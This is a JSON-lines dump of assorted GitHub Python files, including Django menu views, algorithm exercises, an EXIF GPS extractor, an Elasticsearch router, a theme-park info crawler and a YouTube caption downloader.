MenuForm\n\tsuccess_url=reverse_lazy(\"list-menus\")\n\n\tdef get_context_data(self,**kwargs):\n\t\tcontext = super(MenuUpdate, self).get_context_data(**kwargs)\n\n\t\tcontext['title'] = \"Editar Menu\"\n\t\tform_menusdeta = MenuDetailForm(self.request.db)\n\t\tcontext['form_menusdeta'] = form_menusdeta\n\n\t\tmenu = Menus.objects.using(self.request.db).get(pk=self.kwargs[\"pk\"])\n\n\t\tcontext['url_foto'] = menu.foto.url\n\n\t\tcontext['mode_view'] = 'edit'\n\t\tcontext['current_pk'] = self.kwargs[\"pk\"]\n\t\tcontext['url'] = reverse_lazy('edit-menu',kwargs={'pk': self.kwargs[\"pk\"]},)\n\n\t\treturn context\n\"\"\"\n\n\n\n\n\n\nclass MenuCreate(AjaxableResponseMixin,CustomCreateView):\n\tmodel = Arlo\n\t# template_name = \"articulos/article.html\"\n\ttemplate_name = \"menus/menu.html\"\n\tform_class = ArticleForm\n\tsuccess_url=reverse_lazy(\"add-article\")\n\tsuccess_message = \"Menu creado.\"\n\n\tdef get_context_data(self, **kwargs):\n\t\tcontext = super(MenuCreate, self).get_context_data(**kwargs)\n\t\tcontext['title'] = \"Crear Menu\"\n\t\tcontext['mode_view'] = 'create'\n\t\tcontext['url'] = reverse_lazy('add-article')\n\n\t\tcontext['url_foto1'] = DEFAULT_IMAGE_ARTICLE\n\t\tcontext['url_foto2'] = DEFAULT_IMAGE_ARTICLE\n\t\tcontext['url_foto3'] = DEFAULT_IMAGE_ARTICLE\n\n\t\tmanageParameters = ManageParameters(self.request.db)\n\t\ttypeInventory = manageParameters.get_param_value(\"type_costing_and_stock\")\n\t\tcontext['typeInventory'] = typeInventory\n\n\t\treturn context\n\n\tdef post(self, request, *args, **kwargs):\n\t\tmutable_data = request.POST.copy()\n\n\t\tmanageParameters = ManageParameters(self.request.db)\n\t\tminCodeArlos = manageParameters.get_param_value(\"min_code_arlos\")\n\n\t\tmaxCarlos = Arlo.objects.using(request.db).aggregate(Max('carlos'))\n\t\tif maxCarlos[\"carlos__max\"]:\n\t\t\tcarlos = maxCarlos[\"carlos__max\"] + 1\n\t\telse:\n\t\t\tcarlos = minCodeArlos\n\n\t\tmutable_data[\"carlos\"] = carlos\n\n\t\trequest.POST = mutable_data\n\n\t\treturn super(MenuCreate, self).post(request, *args, **kwargs)\n\nclass MenuUpdate(AjaxableResponseMixin,CustomUpdateView):\n\tmodel = Arlo\n\t# template_name = \"articulos/article.html\"\n\ttemplate_name = \"menus/menu.html\"\n\tsuccess_url=reverse_lazy(\"add-article\")\n\tform_class = ArticleForm\n\n\tdef get_context_data(self, **kwargs):\n\t\tcontext = super(MenuUpdate, self).get_context_data(**kwargs)\n\t\tcontext['title'] = \"Editar Menu\"\n\t\tcontext['mode_view'] = 'edit'\n\t\tcontext['current_pk'] = self.kwargs[\"pk\"]\n\t\tcontext['url'] = reverse_lazy('edit-article',kwargs={'pk': self.kwargs[\"pk\"]},)\n\n\t\tcurrent_article = Arlo.objects.using(self.request.db).get(pk=self.kwargs[\"pk\"])\n\n\t\tmanageParameters = ManageParameters(self.request.db)\n\t\tminCodeArlos = manageParameters.get_param_value(\"min_code_arlos\")\n\t\ttypeInventory = manageParameters.get_param_value(\"type_costing_and_stock\")\n\t\tcontext['typeInventory'] = typeInventory\n\n\t\tcontext['url_foto1'] = current_article.foto1.url\n\t\tcontext['url_foto2'] = current_article.foto2.url\n\t\tcontext['url_foto3'] = current_article.foto3.url\n\t\treturn context\n\nclass MenusList(CustomListView):\n\tmodel = Arlo\n\t# template_name = \"articulos/list-articles.html\"\n\ttemplate_name = \"menus/list-menus.html\"\n\n# Articles #\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n@csrf_exempt\ndef MenuDetailCRUD(request):\n\tdata = json.loads(request.body)\n\tif ( data[\"action\"] == \"create\" ):\n\t\tresponse = MenuDetailCreate(data[\"data\"].iteritems(),request.db)\n\telif ( data[\"action\"] == \"edit\" ):\n\t\tresponse = MenuDetailUpdate(data[\"data\"].iteritems(),request.db)\n\telse:\n\t\tresponse = MenuDetailRemove(data[\"data\"].iteritems(),request.db)\n\n\treturn HttpResponse(json.dumps(response), content_type=\"application/json\")\n# menu #\n\n# Groups #\n\"\"\"\nclass GroupCreate(AjaxableResponseMixin,CustomCreateView):\n\tmodel = GposMenus\n\tform_class = GposMenusForm\n\ttemplate_name = \"menus/group.html\"\n\tsuccess_url=reverse_lazy(\"add-menu-group\")\n\n\tdef get_context_data(self, **kwargs):\n\t\tcontext = super(GroupCreate, self).get_context_data(**kwargs)\n\t\tcontext['title'] = \"Crear Grupo\"\n\t\tcontext['mode_view'] = 'create'\n\t\tcontext['url'] = reverse_lazy('add-menu-group')\n\n\t\treturn context\n\nclass GroupUpdate(AjaxableResponseMixin,CustomUpdateView):\n\tmodel = GposMenus\n\tform_class = GposMenusForm\n\ttemplate_name = \"menus/group.html\"\n\tsuccess_url=reverse_lazy(\"add-group\")\n\tsuccess_message = \"was update successfully\"\n\n\tdef get_context_data(self, **kwargs):\n\t\tcontext = super(GroupUpdate, self).get_context_data(**kwargs)\n\t\tcontext['title'] = \"Editar Grupo\"\n\t\tcontext['mode_view'] = 'edit'\n\t\tcontext['current_pk'] = self.kwargs[\"pk\"]\n\t\tcontext['url'] = reverse_lazy('edit-menu-group',kwargs={'pk': self.kwargs[\"pk\"]},)\n\t\treturn context\n\nclass GroupList(CustomListView):\n\tmodel = None\n\tqueryset = None\n\ttemplate_name = \"menus/list-groups.html\"\n\n\tdef get_queryset(self):\n\t\tif self.queryset is not None:\n\t\t\tqueryset = self.queryset\n\t\t\tif isinstance(queryset, QuerySet):\n\t\t\t\tqueryset = queryset.all()\n\t\telif self.model is not None:\n\t\t\tqueryset = self.model._default_manager.using(self.request.db).all()\n\t\telse:\n\t\t\tqueryset = GposMenus.objects.using(self.request.db).all()\n\n\t\tordering = self.get_ordering()\n\t\tif ordering:\n\t\t\tif isinstance(ordering, six.string_types):\n\t\t\t\tordering = (ordering,)\n\t\t\tqueryset = queryset.order_by(*ordering)\n\t\treturn queryset\n\"\"\"\n# Groups #\n","repo_name":"stzef/appem","sub_path":"infa_web/apps/restaurante_menus/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":13406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"5656999214","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n__author__ = \"BigBrother\"\n\n\"\"\"\n\n\nclass Solution(object):\n def get_duplicate_num(self, array):\n \"\"\"时间复杂度O(n)\"\"\"\n if len(array) == 0:\n return -1\n d = {}\n duplicate_num = []\n for i in array:\n if i < 0 or i > len(array) - 1:\n return -1\n if d.__contains__(i):\n if i not in duplicate_num:\n duplicate_num.append(i)\n else:\n d[i] = 1\n\n return duplicate_num\n\n # 空间复杂度为O(1)\n # def duplicate(self, array, duplication):\n # # write code here\n # if not array:\n # return False\n # for i in range(len(array)): # 检查是否存在不合法数据\n # if array[i] < 0 or array[i] > len(array) - 1:\n # return False\n # for i in range(len(array)):\n # # print(i)\n # while i != array[i]:\n # if array[i] == array[array[i]]:\n # duplication[0] = array[i]\n # return True\n # temp = array[i]\n # array[i], array[temp] = array[temp], array[i]\n # return False\n\n # 空间复杂度为O(1),但不改变数组, 使用二分查找在数据范围内查找数据\n def duplicate(self, array, duplication):\n if not array:\n return False\n for num in array:\n if num < 1 or num > len(array) - 1:\n return False\n num_range = [i for i in range(1, len(array))]\n low = 0\n high = len(num_range) - 1\n while low < high:\n mid = (low + high) // 2\n left_array = num_range[:mid+1]\n left_count = self.get_count(left_array, array)\n if left_count > len(left_array):\n high = mid\n else:\n low = mid + 1\n duplication[0] = num_range[low]\n return duplication\n\n\n def get_count(self, array1, array2):\n \"\"\"统计array1中元素在array2中出现的次数\"\"\"\n count = 0\n for i in array1:\n for j in array2:\n if i == j:\n count += 1\n return count\n\n\n\n\n\n\n\nif __name__ == \"__main__\":\n s = Solution()\n array = [1,3,4,3,2]\n # print(s.get_duplicate_num(array))\n duplication = [-1]\n print(s.duplicate(array, duplication))\n","repo_name":"godzzbboss/leetcode","sub_path":"剑指offer/数组中重复数字.py","file_name":"数组中重复数字.py","file_ext":"py","file_size_in_byte":2412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"36082502398","text":"from PIL import Image\nfrom PIL.ExifTags import TAGS, GPSTAGS\n\nfrom tkinter.filedialog import askdirectory\nfrom os import walk\nimport csv\n\n\nf = []\nfolder = askdirectory()\n\n\nfor (dirpath, dirnames, filenames) in walk(folder):\n f.extend(filenames)\n\nfinalDir = []\nfor filename in filenames:\n finalDir.append(folder + \"/\"+ filename)\n\n\n\n#LAT LONG\n#Name\n#filename, date, time, gps coordinates\n\ndef get_exif(filename):\n image = Image.open(filename)\n image.verify()\n return image._getexif()\n\ndef get_labeled_exif(exif):\n labeled = {}\n for (key, val) in exif.items():\n labeled[TAGS.get(key)] = val\n return labeled\n\ndef get_decimal_from_dms(dms, ref):\n\n degrees = dms[0][0] / dms[0][1]\n minutes = dms[1][0] / dms[1][1] / 60.0\n seconds = dms[2][0] / dms[2][1] / 3600.0\n\n if ref in ['S', 'W']:\n degrees = -degrees\n minutes = -minutes\n seconds = -seconds\n\n return round(degrees + minutes + seconds, 5)\n\ndef get_coordinates(geotags):\n lat = get_decimal_from_dms(geotags['GPSLatitude'], geotags['GPSLatitudeRef'])\n\n lon = get_decimal_from_dms(geotags['GPSLongitude'], geotags['GPSLongitudeRef'])\n\n return (lat,lon)\n\ndef get_geotagging(exif):\n if not exif:\n raise ValueError(\"No EXIF metadata found\")\n\n geotagging = {}\n for (idx, tag) in TAGS.items():\n if tag == 'GPSInfo':\n if idx not in exif:\n raise ValueError(\"No EXIF geotagging found\")\n\n for (key, val) in GPSTAGS.items():\n if key in exif[idx]:\n geotagging[val] = exif[idx][key]\n\n return geotagging\n\nexif = get_exif(finalDir[1])\n\n\ncsvFile = []\ncsvFirstRow = ['FileName','DateTime','Lat','Long']\ncsvFile.append(csvFirstRow)\n\nfor singleDir in finalDir:\n eachRow = []\n fileName = singleDir.rsplit('/', 1)\n eachRow.append(fileName[1])\n exif = get_exif(singleDir)\n geotags = get_geotagging(exif)\n coord = get_coordinates(geotags)\n eachRow.append(get_labeled_exif(exif).get('DateTimeDigitized'))\n eachRow.append(coord[0])\n eachRow.append(coord[1])\n csvFile.append(eachRow)\n\nwith open('bbCutooData.csv', 'w', newline='') as f:\n wr = csv.writer(f, quoting=csv.QUOTE_ALL)\n wr.writerows(csvFile)\n\n\n","repo_name":"ronniegbolano/ExtractGISData","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2235,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"74255933339","text":"import sys\r\n\r\ntc=int(input())\r\n\r\ndef find(x):\r\n if parent[x]!=x:\r\n parent[x]=find(parent[x])\r\n\r\n return parent[x]\r\n\r\ndef union(a,b):\r\n a=find(a)\r\n b=find(b)\r\n\r\n if a!=b:\r\n parent[b]=a\r\n\r\nwhile tc>0:\r\n n=int(input())\r\n parent=[i for i in range(n+1)]\r\n\r\n\r\n x=[]\r\n y=[]\r\n dist=[]\r\n for i in range(n):\r\n a,b,r=map(int,sys.stdin.readline().split())\r\n x.append(a)\r\n y.append(b)\r\n dist.append(r)\r\n\r\n ans = n\r\n for i in range(n-1):\r\n for j in range(i+1,n):\r\n if (x[i]-x[j])**2+(y[i]-y[j])**2<=(dist[i]+dist[j])**2:\r\n if find(i)!=find(j):\r\n union(i,j)\r\n ans-=1\r\n\r\n print(ans)\r\n tc-=1","repo_name":"Hyeon-Uk-Kang/Algorithm-","sub_path":"BOJ/백준 10216번.py","file_name":"백준 10216번.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"25716232247","text":"import copy\n\nfrom torch import nn\nfrom torch.nn import ModuleList\n\nfrom Code.constants import GLOBAL\n\n\nclass SwitchModule(nn.Module):\n \"\"\"makes a clone of the given layer or each type\"\"\"\n\n def __init__(self, module, types=None, include_global=False):\n super().__init__()\n modules = []\n self.map = {}\n if include_global:\n types.append(GLOBAL)\n for i, t in enumerate(types):\n self.map[t] = i\n if i == 0:\n modules.append(module)\n else: # makes a clone\n modules.append(copy.deepcopy(module))\n self.typed_modules = ModuleList(modules)\n\n def module(self, type):\n return self.typed_modules[self.map[type]]\n\n def forward(self, *inputs, type=None, **kwargs):\n return self.module(type)(*inputs, **kwargs)","repo_name":"shaneacton/GNN_Thesis","sub_path":"Code/HDE/switch_module.py","file_name":"switch_module.py","file_ext":"py","file_size_in_byte":837,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"31947106221","text":"from menu import Menu, MenuItem\nfrom coffee_maker import CoffeeMaker\nfrom money_machine import MoneyMachine\n\n# import sys\nimport os\n\nos_clear = \"cls\" if os.name == \"nt\" else \"clear\"\n\nmenu = Menu()\ncoffee_maker = CoffeeMaker()\nmoney_machine = MoneyMachine()\nmenu_items = menu.get_items()\n\nwhile True:\n choice = input(f\"What would you like? ({menu_items}): \")\n if choice == \"off\":\n break\n # sys.exit()\n elif choice == \"report\":\n coffee_maker.report()\n money_machine.report()\n else:\n found_drink = menu.find_drink(choice)\n print(found_drink)\n if found_drink:\n if coffee_maker.is_resource_sufficient(found_drink):\n coffee_maker.make_coffee(found_drink)\n money_machine.make_payment(found_drink.cost)\n","repo_name":"BountyHunter1999/100-Days-Python","sub_path":"Day 16/oop-coffee-machine-start/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"30278773527","text":"\nclass ESRouter(object):\n \"\"\"A router to control all database operations on models in\n the myapp application\"\"\"\n def __init__(self):\n from django.conf import settings\n self.managed_apps = [app.split('.')[-1] for app in getattr(settings, \"ELASTICSEARCH_MANAGED_APPS\", [])]\n self.managed_models = getattr(settings, \"ELASTICSEARCH_MANAGED_MODELS\", [])\n self.elasticsearch_database = None\n self.elasticsearch_databases = []\n for name, databaseopt in settings.DATABASES.items():\n if databaseopt[\"ENGINE\"]=='django_elasticsearch':\n self.elasticsearch_database = name\n self.elasticsearch_databases.append(name)\n if self.elasticsearch_database is None:\n raise RuntimeError(\"A elasticsearch database must be set\")\n\n def db_for_read(self, model, **hints):\n \"Point all operations on elasticsearch models to a elasticsearch database\"\n if model._meta.app_label in self.managed_apps:\n return self.elasticsearch_database\n key = \"%s.%s\"%(model._meta.app_label, model._meta.module_name)\n if key in self.managed_models:\n return self.elasticsearch_database\n return None\n\n def db_for_write(self, model, **hints):\n \"Point all operations on elasticsearch models to a elasticsearch database\"\n if model._meta.app_label in self.managed_apps:\n return self.elasticsearch_database\n key = \"%s.%s\"%(model._meta.app_label, model._meta.module_name)\n if key in self.managed_models:\n return self.elasticsearch_database\n return None\n\n def allow_relation(self, obj1, obj2, **hints):\n \"Allow any relation if a model in myapp is involved\"\n\n #key1 = \"%s.%s\"%(obj1._meta.app_label, obj1._meta.module_name)\n key2 = \"%s.%s\"%(obj2._meta.app_label, obj2._meta.module_name)\n\n # obj2 is the model instance so, mongo_serializer should take care\n # of the related object. We keep trac of the obj1 db so, don't worry\n # about the multi-database management\n if obj2._meta.app_label in self.managed_apps or key2 in self.managed_models:\n return True\n\n return None\n\n def allow_syncdb(self, db, model):\n \"Make sure that a elasticsearch model appears on a elasticsearch database\"\n key = \"%s.%s\"%(model._meta.app_label, model._meta.module_name)\n if db in self.elasticsearch_databases:\n return model._meta.app_label in self.managed_apps or key in self.managed_models\n elif model._meta.app_label in self.managed_apps or key in self.managed_models:\n if db in self.elasticsearch_databases:\n return True\n else:\n return False\n return None\n\n def valid_for_db_engine(self, driver, model):\n \"Make sure that a model is valid for a database provider\"\n if driver!=\"elasticsearch\":\n return None\n if model._meta.app_label in self.managed_apps:\n return True\n key = \"%s.%s\"%(model._meta.app_label, model._meta.module_name)\n if key in self.managed_models:\n return True\n return None\n \n","repo_name":"aparo/django-elasticsearch","sub_path":"django_elasticsearch/router.py","file_name":"router.py","file_ext":"py","file_size_in_byte":3198,"program_lang":"python","lang":"en","doc_type":"code","stars":142,"dataset":"github-code","pt":"69"} +{"seq_id":"17854139782","text":"import sys\r\nfrom pyspark import SparkConf, SparkContext\r\n\r\n#mapper for parsing input\r\ndef parser(line):\r\n points = line.split()\r\n if len(points) > 1:\r\n return (int(points[0]), int(points[1]))\r\n\r\n#mapper for normalizing each column of matrix\r\ndef normalize(element):\r\n return [(element[0], element[1][0], 1.0 / float(element[1][1]))]\r\n\r\n#mapper for changing formation of rdd to compute matrix multiplication\r\ndef mapper(element):\r\n return (element[0], (element[1], element[2]))\r\n\r\n#mapper for taxation\r\ndef teleport(pair):\r\n return (pair[0], (0, pair[1] + (1 - BETA) * 0.001))\r\n\r\nif __name__ == \"__main__\":\r\n\r\n BETA = 0.9\r\n arr = [(i + 1, 0, 0.001) for i in range(1000)] #initial v\r\n\r\n conf = SparkConf()\r\n sc = SparkContext(conf=conf)\r\n lines = sc.textFile(sys.argv[1])\r\n\r\n edges = lines.map(parser).distinct() #obtain distict inputs and create matrix\r\n col_count = edges.map(lambda x: (x[0], [x[1]])).reduceByKey(lambda a, b: a + b).map(lambda x: (x[0], len(x[1]))) #count the number of nonzeros to normalize\r\n mat = edges.join(col_count)\r\n norm_mat = mat.flatMap(normalize) #normalize input matrix\r\n norm_mat_pair = norm_mat.map(mapper)\r\n v = sc.parallelize(arr)\r\n v_old = v\r\n v_old_pair = v_old.map(mapper)\r\n\r\n for j in range(50):\r\n matmul_pair = norm_mat_pair.join(v_old_pair) #get pairs to multiply\r\n matmul = matmul_pair.map(lambda x: (x[1][0][0], BETA * x[1][0][1] * x[1][1][1])).reduceByKey(lambda a, b: a + b) #matrix multiplication\r\n v_new_pair = matmul.map(teleport) #taxation applied\r\n v_old_pair = v_new_pair\r\n\r\n top_10 = sorted(v_old_pair.collect(), key=lambda x: -x[1][1])[:10] #get top 10\r\n for pair in top_10:\r\n print(\"%d\\t%f\" %(pair[0], pair[1][1])) # print top 10\r\n sc.setLogLevel('WARN')\r\n sc.stop()\r\n","repo_name":"bleuflares/Link-Analysis","sub_path":"hw3_1.py","file_name":"hw3_1.py","file_ext":"py","file_size_in_byte":1833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"28703202871","text":"import json\nimport bs4\nimport pandas as pd\nfrom infra.hdfs_client import get_client\nfrom infra.util import cal_std_day2, cal_std_day_after, execute_rest_api\nfrom infra.logger import get_logger\n\n\nclass LotteworldInfoExtractor:\n FILE_DIR = '/theme_park/info/lotteworld/'\n URL = 'https://adventure.lotteworld.com/kor/usage-guide/service/index.do'\n\n @classmethod\n def extract_data(cls, after_cnt=7):\n params = cls.__get_operation_time(after_cnt)\n cls.__get_holiday_facility(after_cnt, params)\n \n\n # 롯데월드 운영시간 크롤링\n @classmethod\n def __get_operation_time(cls, after_cnt):\n params = {\n 'oprtDt': '20221026'\n }\n # bs이용해 데이터 가져온 후 가공 후, 데이터프레임 생성\n for i in range(0, after_cnt):\n try:\n # 크롤링 위한 파라미터 설정 후 데이터 크롤링\n params['oprtDt'] = cal_std_day_after(i)\n log_dict = cls.__create_log_dict(params)\n response = execute_rest_api('get', cls.URL, {}, params=params)\n\n # bs이용해 데이터 가공 후, 데이터프레임 생성\n bs_obj = bs4.BeautifulSoup(response.text, 'html.parser')\n time_area = bs_obj.find('div', {'class': 'timeVisArea'})\n start_time = time_area['data-strt-si'] + ':' + time_area['data-strt-mi']\n end_time = time_area['data-end-si'] + ':' + time_area['data-end-mi']\n\n # 데이터프레임 데이터를 CSV파일로 HDFS에 저장\n df = pd.DataFrame({'시작시간': [start_time], '종료시간': [end_time]})\n print(df)\n file_name = cls.FILE_DIR + 'time_lotteworld_' + params['oprtDt'] + '.csv'\n with get_client().write(file_name, overwrite=True, encoding='cp949') as writer:\n df.to_csv(writer, header=['시작시간', '종료시간'], index=False)\n except Exception as e:\n cls.__dump_log(log_dict, e)\n return params\n\n\n # 롯데월드 운휴시설 크롤링\n @classmethod\n def __get_holiday_facility(cls, after_cnt, params):\n # bs이용해 데이터 가져온 후 가공 후, 데이터프레임 생성\n for i in range(0, after_cnt):\n try:\n # 크롤링 위한 파라미터 설정 후 데이터 크롤링\n params['oprtDt'] = cal_std_day_after(i)\n log_dict = cls.__create_log_dict(params)\n response = execute_rest_api('get', cls.URL, {}, params=params)\n\n # bs이용해 데이터 가공 후, 데이터프레임 생성\n bs_obj = bs4.BeautifulSoup(response.text, 'html.parser')\n holiday_list = bs_obj.find('div', {'class': 'holidayArea'}).findAll('p', {'class': 'txt'})\n holiday_area_list = []\n for holiday in holiday_list:\n holiday_area_list.append(holiday.text)\n\n # 데이터프레임 데이터를 CSV파일로 HDFS에 저장\n df = pd.DataFrame(holiday_area_list)\n print(df)\n file_name = cls.FILE_DIR + 'holiday_area_lotteworld_' + params['oprtDt'] + '.csv'\n with get_client().write(file_name, overwrite=True, encoding='cp949') as writer:\n df.to_csv(writer, header=['운휴시설'], index=False)\n except Exception as e:\n cls.__dump_log(log_dict, e)\n \n\n # 로그 dump\n @classmethod\n def __dump_log(cls, log_dict, e):\n log_dict['err_msg'] = e.__str__()\n log_json = json.dumps(log_dict, ensure_ascii=False)\n print(log_dict['err_msg'])\n get_logger('lotteworld_info_extract').error(log_json)\n\n # 로그데이터 생성\n @classmethod\n def __create_log_dict(cls, params):\n log_dict = {\n \"is_success\": \"Fail\",\n \"type\": \"lotteworld_info_extract\",\n \"params\": params\n }\n return log_dict\n\n","repo_name":"starjade-k/themapark-prediction","sub_path":"etl/datajob/etl/extract/lotteworld_info.py","file_name":"lotteworld_info.py","file_ext":"py","file_size_in_byte":4070,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"5656950794","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n__author__ == \"BigBrother\"\n\n\"\"\"\n\n\nclass Solution:\n # def test(self, n, m):\n # \"\"\"这是一个约瑟夫环问题\"\"\"\n # if n <= 0 or m <= 0:\n # return -1\n # count = n\n # array = [i for i in range(n)]\n # step = 0 # 记录走了多少步,每走m步清零\n # idx = -1 # 记录上一次删除数的位置\n # while count > 0:\n # idx += 1 # 从上一次删除数的下一位开始\n # if idx >= n: idx = 0 # 模拟环\n # if array[idx] == -1: continue # 如果已经删除,则跳过\n # step += 1\n # if step == m: # 走了m步, 删除相应元素\n # array[idx] = -1\n # step = 0\n # count -= 1\n # return idx\n\n def test(self, n):\n \"\"\"如果m是不定长的\"\"\"\n if n <= 0:\n return -1\n array = [i for i in range(n)]\n count = n\n idx = 0\n step = 0\n m = 1\n while count > 0:\n idx += 1\n if idx >= n: idx = 0\n if array[idx] == -1: continue\n step += 1\n if step == m:\n array[idx] = -1\n step = -1 # 注意这个地方\n m += 1\n count -= 1\n return idx\n\n\n\nif __name__ == \"__main__\":\n s = Solution()\n print(s.test(10))","repo_name":"godzzbboss/leetcode","sub_path":"剑指offer/圆圈中最后剩下的数字.py","file_name":"圆圈中最后剩下的数字.py","file_ext":"py","file_size_in_byte":1390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"12515899346","text":"from typing import List\n\nfrom google.protobuf.message import Message\n\nfrom . import events_pb2 as evt\n\nmap = {\n evt.ProjectCreated: evt.Event_ProjectCreated,\n evt.DatasetCreated: evt.Event_DatasetCreated,\n evt.DatasetUpdated: evt.Event_DatasetUpdated,\n}\n\n\ndef serialize(msgs: List[Message]):\n result = []\n for m in msgs:\n bytes = m.SerializeToString()\n\n typ = type(m)\n if not typ in map:\n raise KeyError(f'Unknown event type {typ.__name__}')\n\n envelope = evt.Event(Body=bytes, Type=map[typ])\n result.append(envelope)\n return result\n","repo_name":"bitgn/ml-pipelines","sub_path":"specs/test_api/marshal.py","file_name":"marshal.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"69"} +{"seq_id":"41572122587","text":"#!/usr/bin/env python3\nfrom protocol.communicator import Communicator\nfrom protocol.defs.defs2x6.defs2x6 import *\nfrom protocol.wrapper import *\nimport time\nfrom datetime import datetime\nimport os\nimport matplotlib.pyplot as plt\nimport matplotlib.dates as mdates\nfrom scipy.signal import savgol_filter\nimport dataset\n\t\ndef plot(db, stufftoplot, plotname, from_date = datetime(2000, 1, 1), to_date = datetime.now()):\n\t\n\tstatement = f\"SELECT timestamp FROM {sGlobalGroup.name} WHERE timestamp BETWEEN DATETIME(:a) AND DATETIME(:b)\"\n\ttimestamps = db.query(statement, a=from_date, b=to_date)\n\t#timestamps = db[sGlobalGroup.name].find(timestamp={'between': [from_date, to_date]})\n\tx_axis = [datetime.strptime(v[\"timestamp\"], \"%Y-%m-%d %H:%M:%S.%f\") for v in timestamps]\n\t\n\ty_axis = {}\n\tfor stuff in stufftoplot:\n\t\tstatement = f\"SELECT {stuff.name} FROM {statusToGroup(stuff).name} WHERE timestamp BETWEEN DATETIME(:a) AND DATETIME(:b)\"\n\t\tdata = db.query(statement, a=from_date, b=to_date)\n\t\ty_axis[stuff] = [v[stuff.name] for v in data]\n\t\n\tplt.gca().xaxis.set_major_formatter(mdates.DateFormatter('%d.%m.%Y %H:%M'))\n\tplt.gca().xaxis.set_major_locator(mdates.HourLocator(byhour = list(range(0,24,24))))\n\t\n\t# plotting the lines points \n\tfor stuff in stufftoplot:\n\t#\ttry:\n\t#\t\ty_axis[stuff] = savgol_filter(y_axis[stuff], 15, 2)\n\t#\texcept:\n\t#\t\tpass\n\t\tplt.plot(x_axis, y_axis[stuff], label = f\"{stuff.name} ({stuff.unit})\")\n\t\t\n\tplt.gcf().autofmt_xdate()\n\tplt.ylim(bottom=-15)\n\n\t# naming the x axis \n\tplt.xlabel(\"Time\") \n\t# naming the y axis \n\tplt.ylabel('y - axis') \n\t# giving a title to my graph \n\tplt.title(plotname) \n\n\t# show a legend on the plot \n\tplt.legend() \n\n\t# function to show the plot \n\tplt.show() \n\ndef main():\n\t#jsons = {}\n\t#for f in getNextJson():\n\t#\tentry = json.load(f)\n\t#\tjsons[os.path.basename(f.name)] = entry\n\t\t\n\t\n\t#plot(jsons, [sOutsideTempFiltered, sInsideTemp], \"Temperature over time\")\n\t#plot(jsons, [sDhwTemp, sCollectorTemp, sCompressor, sHcOpMode], \"DHW\")\n\t#plot(jsons, [sInputVentilatorSpeed, sOutputVentilatorSpeed, sInputVentilatorPower, sOutputVentilatorPower, sCompressor], \"Fan speed over time\")\n\t#plot(jsons, [sFlowTemp, sReturnTemp, sDhwTemp, sHeatingCircuitPump], \"HC1\")\n\t#plot(jsons, [sCollectorTemp], \"TEST\")\n\t\n\tdb_url = f\"sqlite:///log/status_{datetime.now().strftime('%Y_%m')}.db\"\n\t#db_url = f\"sqlite:///log/status_{datetime.now().strftime('%Y_11')}.db\"\n\tfrom_date = datetime(2020, 9, 1)\n\tto_date = datetime.now()\n\t\n\twith dataset.connect(db_url) as db:\n\t\tplot(db, [sOutsideTempFiltered, sInsideTemp], \"Temperature over time\", from_date, to_date)\n\t\tplot(db, [sDhwTemp, sCollectorTemp, sCompressor, sHcOpMode], \"DHW\", from_date, to_date)\n\t\tplot(db, [sInputFanSpeed, sOutputFanSpeed, sInputFanPower, sOutputFanPower, sCompressor], \"Fan speed over time\", from_date, to_date)\n\t\tplot(db, [sFlowTemp, sReturnTemp, sDhwTemp, sHeatingCircuitPump], \"HC1\", from_date, to_date)\n\t\tplot(db, [sHeatRequest], \"sHeatRequest\", from_date, to_date)\n\t\t\n\nif __name__== \"__main__\":\n\tmain() \n\n","repo_name":"wladimir-computin/LWZ303-RS232","sub_path":"visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":3000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"37088000119","text":"#import libraries\nimport os\nimport googleapiclient.discovery\n\n#API key\nAPI_KEY = \"\"\n\n# Get the video ID\n# Ask user for URL\nurl = input(\"Please enter the URL of the YouTube video: \")\n\n# Extract the video ID\nvideo_id = url.split(\"=\")[1]\n\n# Create the API service object\nyoutube = googleapiclient.discovery.build(\"youtube\", \"v3\", developerKey=API_KEY)\n\n# Get the list of closed captions from the video\ncaption_list = youtube.captions().list(\n part=\"snippet\",\n videoId=video_id\n).execute()\n\n# Get the closed caption ID\ncaption_id = caption_list[\"items\"][0][\"id\"][\"videoId\"]\n\n# Get the closed caption\ncaption = youtube.captions().download(\n id=caption_id\n).execute()\n\n# Save the closed caption as a text file\nfile_name = os.path.splitext(os.path.basename(url))[0]\nwith open(f\"{file_name}.txt\", \"wb\") as f:\n f.write(caption)\n\nprint(f\"Closed caption file saved as {file_name}.txt\")\n\n# There are several reasons why this script might fail to run or throw an error.\n# The API_KEY variable is not set - the script will fail if the API_KEY variable is not set.\n# The video ID is not extracted correctly - if the URL is not in the expected format, the code will not be able to extract the video ID.\n# The API call fails - if the API call fails due to an incorrect API key or other issue, the script will fail.\n# The caption_list variable is empty - if the video does not have any closed captions, the caption_list variable will be empty and the script will fail.\n","repo_name":"davidseanarms/python-snippets","sub_path":"YT-CC-download.py","file_name":"YT-CC-download.py","file_ext":"py","file_size_in_byte":1463,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} 